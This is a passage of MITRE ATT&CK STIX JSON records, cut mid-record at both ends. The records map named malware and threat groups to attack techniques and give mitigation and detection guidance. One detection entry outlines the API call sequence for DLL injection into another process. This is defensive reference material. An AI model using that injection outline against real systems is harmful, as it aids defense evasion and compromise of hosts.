2024.","url":"https://www.cidersecurity.io/top-10-cicd-security-risks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-24T19:43:18.719Z","description":"Application developers should be cautious when selecting third-party libraries to integrate into their application. Additionally, where possible, developers should lock software dependencies to specific versions rather than pulling the latest version on build.(Citation: Cider Security Top 10 CICD Security Risks)","relationship_type":"mitigates","source_ref":"course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1","target_ref":"attack-pattern--191cc6af-1bb2-4344-ab5f-28e496638720","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef5479d8-f8f3-4754-989e-9930a245899c","type":"relationship","created":"2020-11-17T20:53:33.488Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Lucifer June 2020","url":"https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/","description":"Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}],"modified":"2020-11-17T20:53:33.488Z","description":"[Lucifer](https://attack.mitre.org/software/S0532) can infect victims by brute forcing SMB.(Citation: Unit 42 Lucifer June 2020)","relationship_type":"uses","source_ref":"malware--54a73038-1937-4d71-a253-316e76d5413c","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef54b620-1e4b-41cf-afbd-9486292170e7","created":"2024-08-08T17:35:06.827Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-08T17:35:06.827Z","description":"(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"campaign--7e21077d-2589-43a7-a5f9-490061289526","target_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef647214-5ced-4457-9f80-3f6c5293da6a","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Elastic Process Injection July 2017","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:34:20.750Z","description":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nSearch for remote thread creations that start at LoadLibraryA or LoadLibraryW. Depending on the tool, it may provide additional information about the DLL string that is an argument to the function. If there is any security software that legitimately injects DLLs, it must be carefully whitelisted.\n\nMicrosoft Windows allows for processes to remotely create threads within other processes of the same privilege level. This functionality is provided via the Windows API CreateRemoteThread. Both Windows and third-party software use this ability for legitimate purposes. For example, the Windows process csrss.exe creates threads in programs to send signals to registered callback routines. Both adversaries and host-based security software use this functionality to inject DLLs, but for very different purposes. An adversary is likely to inject into a program to evade defenses or bypass User Account Control, but a security program might do this to gain increased monitoring of API calls. One of the most common methods of DLL Injection is through the Windows API LoadLibrary.\n\n- Allocate memory in the target program with VirtualAllocEx\n- Write the name of the DLL to inject into this program with WriteProcessMemory\n- Create a new thread and set its entry point to LoadLibrary using the API CreateRemoteThread.\n\nThis behavior can be detected by looking for thread creations across processes, and resolving the entry point to determine the function name. If the function is LoadLibraryA or LoadLibraryW, then the intent of the remote thread is clearly to inject a DLL. When this is the case, the source process must be examined so that it can be ignored when it is both expected and a trusted process.\n","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef651fd2-97e7-4471-a609-41f46003cf11","created":"2023-05-18T18:14:37.457Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-18T18:14:37.457Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) has piped the results from executed C2 commands to `%TEMP%\\result2.dat` on the local machine.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef699184-4191-4fc0-8525-6fa1dcfc61d7","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","source_name":"FireEye Periscope March 2018"}],"modified":"2020-03-18T20:15:48.471Z","description":"[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about users on remote hosts.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--049ff071-0b3c-4712-95d2-d21c6aa54501","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef6c1da8-65d5-47fd-84ab-4d0fa6246c7f","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef6d08c0-e9dd-45e1-b5ce-42cd5731f2ab","type":"relationship","created":"2019-01-30T19:50:46.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/","source_name":"Unit 42 NOKKI Sept 2018"}],"modified":"2020-03-17T01:58:31.481Z","description":"[NOKKI](https://attack.mitre.org/software/S0353) can gather information on drives and the operating system on the victim’s machine.(Citation: Unit 42 NOKKI Sept 2018)","relationship_type":"uses","source_ref":"malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef7d26b5-7d5f-463d-8279-82b45b6d01a4","created":"2022-10-11T18:48:03.728Z","revoked":false,"external_references":[{"source_name":"Cybereason StrifeWater Feb 2022","description":"Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.","url":"https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T18:48:03.728Z","description":"[StrifeWater](https://attack.mitre.org/software/S1034) can collect data from a compromised host.(Citation: Cybereason StrifeWater Feb 2022)","relationship_type":"uses","source_ref":"malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ef8154b8-b6d3-493f-9bf5-1d5c147108bc","created":"2022-04-08T21:32:31.435Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point APT35 CharmPower January 2022","url":"https://research.checkpoint.com/2022/apt35-exploits-log4j-vulnerability-to-distribute-new-modular-powershell-toolkit/","description":"Check Point. (2022, January 11). APT35 exploits Log4j vulnerability to distribute new modular PowerShell toolkit. Retrieved January 24, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CharmPower](https://attack.mitre.org/software/S0674) can use `wmic` to gather information from a system.(Citation: Check Point APT35 CharmPower January 2022)","modified":"2022-04-08T21:32:31.435Z","relationship_type":"uses","source_ref":"malware--7acb15b6-fe2c-4319-b136-6ab36ff0b2d4","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef8385b2-e62c-4854-9a0b-f23d6de334cd","created":"2021-09-29T15:41:18.401Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AhnLab Andariel Subgroup of Lazarus June 2018","description":"AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group, a subgroup of the Lazarus. Retrieved September 29, 2021.","url":"https://web.archive.org/web/20230213154832/http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T18:36:06.082Z","description":"[Andariel](https://attack.mitre.org/groups/G0138) has downloaded additional tools and malware onto compromised hosts.(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)","relationship_type":"uses","source_ref":"intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ef8d7ed3-805a-4edd-a4e9-74c6520594de","created":"2022-04-11T21:08:15.796Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes IssacWiper CaddyWiper March 2022 ","url":"https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/","description":"Threat Intelligence Team. (2022, March 18). Double header: IsaacWiper and CaddyWiper . Retrieved April 11, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CaddyWiper](https://attack.mitre.org/software/S0693) can obtain a list of current processes.(Citation: Malwarebytes IssacWiper CaddyWiper March 2022 )","modified":"2022-04-11T21:08:15.796Z","relationship_type":"uses","source_ref":"malware--b30d999d-64e0-4e35-9856-884e4b83d611","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef934eda-a3ad-40fb-8923-fc2f72fb8f6e","type":"relationship","created":"2020-06-24T19:58:56.888Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Medium Metamorfo Apr 2020","url":"https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767","description":"Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}],"modified":"2020-06-24T19:58:56.888Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has hidden its GUI using the ShowWindow() WINAPI call.(Citation: Medium Metamorfo Apr 2020) ","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ef96fb44-5139-4547-9660-2ba64e6635d9","created":"2024-02-09T20:30:54.047Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Zero-Day April 2021","description":"Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-09T20:30:54.047Z","description":"[STEADYPULSE](https://attack.mitre.org/software/S1112) can add lines to a Perl script on a targeted server to import additional Perl modules.(Citation: Mandiant Pulse Secure Zero-Day April 2021)","relationship_type":"uses","source_ref":"malware--ca0fead6-5277-427a-825b-42ff1fbe476e","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ef97d2bb-7e5a-4c3b-8e7d-cc4fb098c47d","type":"relationship","created":"2019-04-24T20:50:12.404Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Adwind Feb 2016","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf","description":"Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019."}],"modified":"2019-06-24T17:20:24.637Z","description":"[jRAT](https://attack.mitre.org/software/S0283) can gather victim internal and external IPs.(Citation: Kaspersky Adwind Feb 2016)","relationship_type":"uses","source_ref":"malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efa28055-ee37-4501-8316-32a9c709ee98","type":"relationship","created":"2021-12-08T18:24:25.644Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T18:24:25.644Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) can enumerate and map ICS-specific systems in victim environments.(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efa98949-4b58-4407-8fa2-366c06dc2ed9","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf","description":"F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.","source_name":"F-Secure BlackEnergy 2014"},{"source_name":"Securelist BlackEnergy Nov 2014","description":"Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.","url":"https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}],"modified":"2020-06-02T16:14:00.613Z","description":"[BlackEnergy](https://attack.mitre.org/software/S0089) has used [Systeminfo](https://attack.mitre.org/software/S0096) to gather the OS version, as well as information on the system configuration, BIOS, the motherboard, and the processor.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)","relationship_type":"uses","source_ref":"malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--efab47f3-cd77-41a5-bb8d-34ee3911d07d","created":"2024-01-23T19:53:37.510Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-23T19:53:37.510Z","description":"[ToddyCat](https://attack.mitre.org/groups/G1022) has collected information on bootable drives including model, vendor, and serial numbers.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"intrusion-set--b516b235-fc7d-4635-aca5-3d33312339c3","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efaecf33-d565-40fa-baf5-976138f6c883","type":"relationship","created":"2021-09-29T20:46:38.439Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-239A BeagleBoyz August 2020","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-239a","description":"DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021."}],"modified":"2021-09-29T20:46:38.439Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has created new services or modified existing ones to run executables, commands, or scripts.(Citation: CISA AA20-239A BeagleBoyz August 2020)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efafd777-c53d-4459-8765-2e5e44cd0ea1","type":"relationship","created":"2020-01-30T17:37:22.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T12:57:33.945Z","description":"File encryption should be enforced across email communications containing sensitive information that may be obtained through access to email services.","relationship_type":"mitigates","source_ref":"course-of-action--feff9142-e8c2-46f4-842b-bd6fb3d41157","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efb06e50-f3ac-4149-927b-d97505a4f551","type":"relationship","created":"2021-04-20T13:51:15.340Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler APT31 Covid-19 October 2020","url":"https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online","description":"Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}],"modified":"2021-04-20T13:51:15.340Z","description":"[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to enumerate proxy settings in the target environment.(Citation: Zscaler APT31 Covid-19 October 2020)","relationship_type":"uses","source_ref":"intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efb1d5a5-0182-4104-982c-6de98e11a055","type":"relationship","created":"2020-10-20T03:31:52.923Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:39:08.964Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--efb4adc8-b0a0-4562-a8c7-d0fe70c207be","type":"relationship","created":"2019-11-13T14:44:49.724Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf","description":"Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.","source_name":"TCG Trusted Platform Module"},{"url":"https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process","description":"Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.","source_name":"TechNet Secure Boot Process"}],"modified":"2020-10-21T17:48:20.485Z","description":"Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--efb5d6d2-0c4a-4520-a63e-8ebff3dcd593","created":"2022-06-16T19:16:34.991Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","modified":"2022-06-16T19:16:34.991Z","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--efb8b96b-7f50-4152-b18c-bbec7de28cbb","created":"2023-09-05T18:02:46.582Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.646Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to execute PowerShell commands on a compromised machine.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--efba0428-a817-4783-b04f-a9af95362c5e","created":"2024-03-13T19:12:09.186Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T19:40:25.821Z","description":"[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can monitor for system upgrade events by checking for the presence of `/tmp/data/root/dev`.(Citation: Mandiant Cutting Edge Part 3 February 